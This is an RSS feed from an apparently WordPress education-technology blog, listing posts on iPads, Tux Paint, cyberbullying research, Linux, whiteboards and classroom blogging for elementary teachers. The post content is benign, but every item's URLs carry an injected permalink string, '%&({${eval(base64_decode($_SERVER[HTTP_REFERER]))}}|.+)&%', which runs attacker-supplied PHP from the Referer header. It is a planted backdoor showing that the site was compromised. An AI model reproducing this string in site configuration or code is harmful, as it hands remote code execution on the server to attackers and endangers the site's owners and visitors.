<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>EdTech Avenue &#187; elementary</title>
	<atom:link href="http://edtechavenue.com/category/elementary/feed/" rel="self" type="application/rss+xml" />
	<link>http://edtechavenue.com</link>
	<description>your avenue for discussing educational technology</description>
	<lastBuildDate>Fri, 07 May 2010 17:45:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>iPads for Younger Kids</title>
		<link>http://edtechavenue.com/2010/04/21/ipads-for-younger-kids/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2010/04/21/ipads-for-younger-kids/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 21 Apr 2010 17:08:10 +0000</pubDate>
		<dc:creator>m.white</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[elementary]]></category>
		<category><![CDATA[iPod/Pad]]></category>
		<category><![CDATA[primary]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/2010/04/21/ipads-for-younger-kids/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[Great video from Will Richardson on iPad and apps for younger kids and their reactions to iPad
 http://www.youtube.com/watch?v=6xglnN5nX5Q
]]></description>
			<content:encoded><![CDATA[<p>Great video from Will Richardson on iPad and apps for younger kids and their reactions to iPad<br />
<a title="iPads and Younger Kids" href="http://www.youtube.com/watch?v=6xglnN5nX5Q" target="_blank"> http://www.youtube.com/watch?v=6xglnN5nX5Q</a></p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2010/04/21/ipads-for-younger-kids/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using Tux Paint as a Learning Tool</title>
		<link>http://edtechavenue.com/2009/06/30/using-tux-paint-as-a-learning-tool/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2009/06/30/using-tux-paint-as-a-learning-tool/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 30 Jun 2009 18:11:49 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[creativity]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[elementary]]></category>
		<category><![CDATA[necc2009]]></category>
		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/?p=315</guid>
		<description><![CDATA[Karen is the Technology Coordinator at a school the same size as mine &#8211; 320 students.  Tux Paint is an Open Source software package &#8211; completely free.
&#8220;It&#8217;s not about the Tech, it&#8217;s about the Teach.&#8221;
Over 80 languages available &#8211; can be changed easily in the configuration for students needing alternate languages.
It&#8217;s a paint program, so [...]]]></description>
			<content:encoded><![CDATA[<p>Karen is the Technology Coordinator at a school the same size as mine &#8211; 320 students.  Tux Paint is an Open Source software package &#8211; completely free.</p>
<p>&#8220;It&#8217;s not about the Tech, it&#8217;s about the Teach.&#8221;</p>
<p>Over 80 languages available &#8211; can be changed easily in the configuration for students needing alternate languages.</p>
<p>It&#8217;s a paint program, so images once placed can not be moved or manipulated &#8211; only erased.</p>
<p>Great selection of stamps, shapes, colors and variations of all &#8211; much like KidPix but free.</p>
<p>http://nets4students.wetpaint.com/ is Karen&#8217;s website.  She is a participant in the Johns Hopkins University certificate program mentioned in my earlier post about new NETS and resources.</p>
<p>Templates can be created and shared over a network.</p>
<p>Karen has a Wiki on her site also, with some basic instructions and tips.</p>
<p>Students are sometimes confused when they see the text (Aa) tool and look for the rest of the letters. Karen teaches them that it means you are using the Alphabet and will need to use the keyboard.</p>
<p>Base file type for Tux Paint &#8220;Starter&#8221; (template) is PNG.  Templates need to be saved as a PNG and make it transparent.  There&#8217;s a free program on her Wiki you can use for that.  GiMP can also be used.  Files are also saved as a PNG from TuxPaint to be used outside of the program and inserted, etc.</p>
<p>A separate page off of Karen&#8217;s wiki has curriculum ideas &#8211; too many to list here!</p>
<p>Simple clicking creates a slideshow of any selected TuxPaint images&#8230; wow!  This could be used for very simple animations with older students.</p>
<p>Hiding at the right of the color palette is a link to the wider array of colors.</p>
<p>Fill &#8220;bucket&#8221; is under the Magic tools.</p>
<p>This was a terrific session!</p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2009/06/30/using-tux-paint-as-a-learning-tool/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cyberbullying: Using Virtual Scenarios to Educate and Raise Awarenessli</title>
		<link>http://edtechavenue.com/2009/06/29/cyberbullying-using-virtual-scenarios-to-educate-and-raise-awarenessli/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2009/06/29/cyberbullying-using-virtual-scenarios-to-educate-and-raise-awarenessli/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 16:37:04 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[edtech]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[elementary]]></category>
		<category><![CDATA[instant messaging]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[internet safety]]></category>
		<category><![CDATA[k-12]]></category>
		<category><![CDATA[necc2009]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/?p=266</guid>
		<description><![CDATA[Research Study
We need to have a better awareness on how to educate on cyberbullying.  Graduate students in counseling and education came together in this project.  Cyberbullying &#8220;refers to bullying via electronic communications tools.&#8221;
Seven Types

Flaming
Harassment
Denigration
Cyberstalking
Impersonation or Masquerading
Outing or Trickery
Exclusion

Trends
Age: increases in elementary years, peaks in middle school, declines in high school
Gender: girls more likely to be [...]]]></description>
			<content:encoded><![CDATA[<p><a href="https://center.uoregon.edu/ISTE/uploads/NECC2009/KEY_43845549/Wright_cyberbullying_Wright_Burnham_Inman_Ogorchock.pdf">Research Study</a></p>
<p>We need to have a better awareness on how to educate on cyberbullying.  Graduate students in counseling and education came together in this project.  Cyberbullying &#8220;refers to bullying via electronic communications tools.&#8221;</p>
<p><strong>Seven Types</strong></p>
<ol>
<li>Flaming</li>
<li>Harassment</li>
<li>Denigration</li>
<li>Cyberstalking</li>
<li>Impersonation or Masquerading</li>
<li>Outing or Trickery</li>
<li>Exclusion</li>
</ol>
<p><strong>Trends</strong><br />
Age: increases in elementary years, peaks in middle school, declines in high school<br />
Gender: girls more likely to be online and cyberbully</p>
<p>Broadband Data Improvement Act in 2008 included Title II &#8220;Protecting Children in the 21st Century Act.&#8221;</p>
<div>Goals of the Study: Educate, Raise Awareness, Creation of Scenarios</div>
<div>Used Second Life to conduct the study</div>
<p>Phase I: Adapted previous survey by Li (2006, 2007).  More than half were aware of someone being cyberbullied most were not reported to an adult.  Slightly more boys than girls were both bullies and being bullied, most happened outside of school, over half were not reported, and situations typically happened on average about 4 times.</p>
<p>Phase II:  Focus Groups to further inform survey data, explore the student views and experiences to collect information to use in creating scenarios.  Found commonalities and put in three categories &#8211; Reactions, Knowledge, and Coping.  Results said most cyberbullying would take place between the student and someone they know, and most were due to a misunderstanding.  The most common answer for who they would talk to about it was the school counselor, also stating that they felt more adults need to be educated about cyberbullying.</p>
<p>Phase III: Virtual Scenarios fully &#8220;acted out&#8221; using avatars in Second Life, based on phases I and II: (1) Gossip Goes Virtual and (2) Mark Visits the School Counselor.  Students watched the scenarios and offered feedback.</p>
<p>Recommendations for parents: understand what it is, educate children, be aware, be involved.</p>
<p>Resources:</p>
<ul>
<li>CyberSmart Curriculum</li>
<li>NetSmartz</li>
<li>iSafe</li>
</ul>
<p>Showing video of Second Life Scenario, &#8220;Mark Visits the School Counselor.&#8221;</p>
<p><strong>Q&amp;A</strong><br />
Second Life was used for the video scenarios to link the technology and counseling worlds, this seemed the easiest place to do this in a place that is away from the true counseling and reporting of cyberbullying in person to make it more comfortable for students.</p>
<p>More scenarios are hoped to be added later.</p>
<p>The scripting process for the video scenario used words from students in the focus group sessions. They reviewed feedback from the focus groups and used data and phrasing spoken by the students to create the scenario.</p>
<p>Focus Groups were recorded using digital audio and transcribed later.</p>
<p>MovieTeacher46.com has a list of movies where bullying takes place to use as a discussion starter.</p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2009/06/29/cyberbullying-using-virtual-scenarios-to-educate-and-raise-awarenessli/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Linux</title>
		<link>http://edtechavenue.com/2009/02/19/linux/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2009/02/19/linux/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 19 Feb 2009 18:21:48 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[Mac vs. Windows]]></category>
		<category><![CDATA[budget]]></category>
		<category><![CDATA[edtech]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[elementary]]></category>
		<category><![CDATA[k-12]]></category>
		<category><![CDATA[productivity]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[linux windows mac apple]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/?p=231</guid>
		<description><![CDATA[Lisa Whitaker has a school board member that wants them to run on Linux.  Any thoughts? 
The school board member writes:
I have been looking into Linux and think we could do some travelling carts for pretty cheap. Or if not carts we could have some computers in the classroom. Linux runs well on old computers (Windows 98 or the [...]]]></description>
			<content:encoded><![CDATA[<p><a href="mailto:lwhitaker@stjosephwaconia.org">Lisa Whitaker</a> has a school board member that wants them to run on Linux.  Any thoughts? </p>
<p>The school board member writes:</p>
<blockquote><p>I have been looking into Linux and think we could do some travelling carts for pretty cheap. Or if not carts we could have some computers in the classroom. Linux runs well on old computers (Windows 98 or the Mac equivalent), which could be pretty cheap to get our hands on from places that are upgrading, and then you can run all sorts of free programs &#8211; word processing, etc. If you put Wine on the computer, it will emulate Windows and you can run many (not all) old software CDs. That would allow teachers to do keyboarding and art and math facts, etc. on the computers.  There is a guy on my work listserv who runs his whole law office using Linux, free software, and internet-based programs.</p>
<p>It might be something to look into for the future. Do you know much about Linux, or have you heard of any schools using it? We probably couldn&#8217;t do podcasts and things, but it might be a solution for the younger grades, which could free up tech room space for the older grades.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2009/02/19/linux/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Interactive Whiteboards</title>
		<link>http://edtechavenue.com/2009/02/19/interactive-whiteboards/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2009/02/19/interactive-whiteboards/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 19 Feb 2009 18:17:34 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[Mac vs. Windows]]></category>
		<category><![CDATA[edtech]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[elementary]]></category>
		<category><![CDATA[k-12]]></category>
		<category><![CDATA[productivity]]></category>
		<category><![CDATA[support]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[interactive whiteboard]]></category>
		<category><![CDATA[promethean]]></category>
		<category><![CDATA[smartboard]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/?p=229</guid>
		<description><![CDATA[This post was requested by Lisa Whitaker.  Please see below and join the conversation!
I heard recently that not all features on Smartboards work with a Mac but I can&#8217;t find anything so far that shows me that.
Our librarian passed this onto me: http://www.edugeek.net/forums/hardware/14847-any-school-using-interwrite-pads-bluetooth.html
I found this free Promethean viewer at Promethean Planet. You have to register but [...]]]></description>
			<content:encoded><![CDATA[<p>This post was requested by <a href="mailto:lwhitaker@stjosephwaconia.org">Lisa Whitaker</a>.  Please see below and join the conversation!</p>
<blockquote><p>I heard recently that not all features on Smartboards work with a Mac but I can&#8217;t find anything so far that shows me that.</p>
<p>Our librarian passed this onto me: <a title="blocked::http://www.edugeek.net/forums/hardware/14847-any-school-using-interwrite-pads-bluetooth.html" href="http://www.edugeek.net/forums/hardware/14847-any-school-using-interwrite-pads-bluetooth.html">http://www.edugeek.net/forums/hardware/14847-any-school-using-interwrite-pads-bluetooth.html</a></p>
<p>I found this free Promethean viewer at Promethean Planet. You have to register but that is free as well: <a title="blocked::http://www.prometheanplanet.com/server.php?show=nav.15853&amp;ua_siteLoginRequired=1" href="http://www.prometheanplanet.com/server.php?show=nav.15853&amp;ua_siteLoginRequired=1">http://www.prometheanplanet.com/server.php?show=nav.15853&amp;ua_siteLoginRequired=1</a></p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2009/02/19/interactive-whiteboards/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Classroom Blogging &#8211; session 4</title>
		<link>http://edtechavenue.com/2008/12/08/classroom-blogging-session-4/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2008/12/08/classroom-blogging-session-4/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 09 Dec 2008 03:41:27 +0000</pubDate>
		<dc:creator>m.white</dc:creator>
				<category><![CDATA[conference]]></category>
		<category><![CDATA[elementary]]></category>
		<category><![CDATA[TIES2008]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/?p=159</guid>
		<description><![CDATA[BLOG ON! SOCIAL NETWORKING IN AN ELEMENTARY CLASSROOM - Jay Monson
http://wiki.ties.k12.mn.us/073
Classroom Blogging - BlogMeister: Write On!  (Michael&#8217;s also used BlogMeister)
Commoncraft.com &#8211; Blogs, Wikis, Social Networking in Plain English (nice place to explain it all-especially to adults)
CLASSROOM BLOG
Student Requirements
-Used daily or multiple times a week w/students
-Usual writing process (pre-write, rough draft, edit, rewrite, publish)
-Writing sent to teacher for [...]]]></description>
			<content:encoded><![CDATA[<p>BLOG ON! SOCIAL NETWORKING IN AN ELEMENTARY CLASSROOM - Jay Monson</p>
<p>http://wiki.ties.k12.mn.us/073</p>
<p>Classroom Blogging - BlogMeister: Write On!  (Michael&#8217;s also used BlogMeister)</p>
<p>Commoncraft.com &#8211; Blogs, Wikis, Social Networking in Plain English (nice place to explain it all-especially to adults)</p>
<p>CLASSROOM BLOG</p>
<p>Student Requirements</p>
<p>-Used daily or multiple times a week w/students</p>
<p>-Usual writing process (pre-write, rough draft, edit, rewrite, publish)</p>
<p>-Writing sent to teacher for approval &#8211; same amount of time as paper/pencil</p>
<p>Starting out: Obtain teacher code from David Warlick to set up blog, Initial set-up time of 1/2 hr &#8211; can spend MUCH more time to set it up</p>
<p>CLASSROOM WIKI</p>
<p>Uses wikispaces.com /   http://monsonclassroom.wikispaces.com</p>
<p>Student Requirements</p>
<p>-Used monthly or more with students</p>
<p>-Use paper/pencil writing process</p>
<p>-Works w/6+1 Traits </p>
<p>Teacher Requirements</p>
<p>Create an account; 30 minutes to set up; 15 minutes commitment to check weekly</p>
<p>Select responsible, tech savvy student to help!</p>
<p>Out Classroom Wiki monsonclassroom.wikispaces.com</p>
<p>-Different questions for world-wide audience</p>
<p>Our Classroom Bookmarks</p>
<p>Uses Delicious.com/monsonclassroom</p>
<p>Out Classroom Bookmarks: Jay Monson&#8217;s Bookmarks</p>
<p>Our Classroom Photos &#8211; http://flickr.com/photos/monsonclassroom</p>
<p>District policy: opt-out policy?</p>
<p>Uses iPhone to take classroom photos of working kids &#8211; uses it to wrap up a unit and use as a review     No identifiers other than the year, upload smallest size possible, lock down photos from being downloaded</p>
<p>Podcasting</p>
<p>*Weekly phenology observations w/John Latimer from KAXE radio</p>
<p>*Audio versions of kids&#8217; writing</p>
<p>*Other audio-based learning opportunities from around the world</p>
<p>*Google Calendars-uses it for scope &amp; sequence</p>
<p>*Library Thing.com  (online library of books they&#8217;re reading)</p>
<p>*Voice Thread</p>
<p>Flashy stuff and meaningful stuff out there</p>
<p>Obstacles</p>
<p>*CIPA Internet Filter</p>
<p>*Knowledge and Tech support</p>
<p>*Tech staff</p>
<p>*Computer access</p>
<p>Negatives of Social Networking: inappropriate use (give ownership and raises level of responsibility), inappropriate postings</p>
<p>Positives: global awareness, tech bluence, just a browser, increased appropriate use of social networking tools, mostly free!</p>
<p>Collaborates well w/ISTE NETS</p>
<p>Future of Social Networking</p>
<p>-Need to be able to communicate their creativity ideas &amp; slutions</p>
<p>-Need to use it?</p>
<p>-Use it with or without us?!</p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2008/12/08/classroom-blogging-session-4/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pics4Learning &#8211; Free Images</title>
		<link>http://edtechavenue.com/2007/06/05/pics4learning-free-images/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2007/06/05/pics4learning-free-images/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 05 Jun 2007 18:58:13 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[budget]]></category>
		<category><![CDATA[creativity]]></category>
		<category><![CDATA[edtech]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[elementary]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[k-12]]></category>
		<category><![CDATA[middle school]]></category>
		<category><![CDATA[resource]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/2007/06/05/pics4learning-free-images/</guid>
		<description><![CDATA[With Creative Commons licensing, many more photos and images are available to download for educational purposes than ever before.  But Pics4Learning (offered by Tech4Learning) screens photos and makes sure they are appropriate for educational venues of all sorts.  You can even contribute some of your own images!  This is a terrific site [...]]]></description>
			<content:encoded><![CDATA[<p>With Creative Commons licensing, many more photos and images are available to download for educational purposes than ever before.  But <a title="Pics4Learning website" href="http://www.pics4learning.com/">Pics4Learning</a> (offered by <a title="Tech4Learning website" href="http://www.tech4learning.com/">Tech4Learning</a>) screens photos and makes sure they are appropriate for educational venues of all sorts.  You can even contribute some of your own images!  This is a terrific site for teachers to use when they want a one-stop site for finding images for student projects.  They have categories and a search function to find just the photo you want.  I would imagine as this site becomes more well-known, we can expect the library to grow and grow.</p>
<p>Do you know of any other good sites for images or audio for education?</p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2007/06/05/pics4learning-free-images/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anyone Going to &#8216;Kids on the Edge&#8217;?</title>
		<link>http://edtechavenue.com/2007/05/23/anyone-going-to-kids-on-the-edge/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2007/05/23/anyone-going-to-kids-on-the-edge/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 23 May 2007 18:56:06 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[conference]]></category>
		<category><![CDATA[edtech]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[elementary]]></category>
		<category><![CDATA[internet safety]]></category>
		<category><![CDATA[planning]]></category>
		<category><![CDATA[teachers]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/2007/05/23/anyone-going-to-kids-on-the-edge/</guid>
		<description><![CDATA[A program is being offered for elementary schools to examine the &#8220;Perils and Potential of Media and Technology in Catholic Education&#8221; by NCEA, Boston College and the U.S. Conference of Bishops.  It sounds like an interesting program but overlaps with NECC so I can&#8217;t get there (I would LOVE to &#8211; loved Boston last [...]]]></description>
			<content:encoded><![CDATA[<p>A program is being offered for elementary schools to examine the <a title="NCEA Event Information" href="http://www.ncea.org/events/event.asp?EVENT_ID=75&#038;">&#8220;Perils and Potential of Media and Technology in Catholic Education&#8221;</a> by NCEA, Boston College and the U.S. Conference of Bishops.  It sounds like an interesting program but overlaps with NECC so I can&#8217;t get there (I would LOVE to &#8211; loved Boston last time I was there).</p>
<p>If you are planning to go, would you be willing to share your experiences here on EdTech Avenue?  The conference is from June 21-23, 2007, in Boston, MA.</p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2007/05/23/anyone-going-to-kids-on-the-edge/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
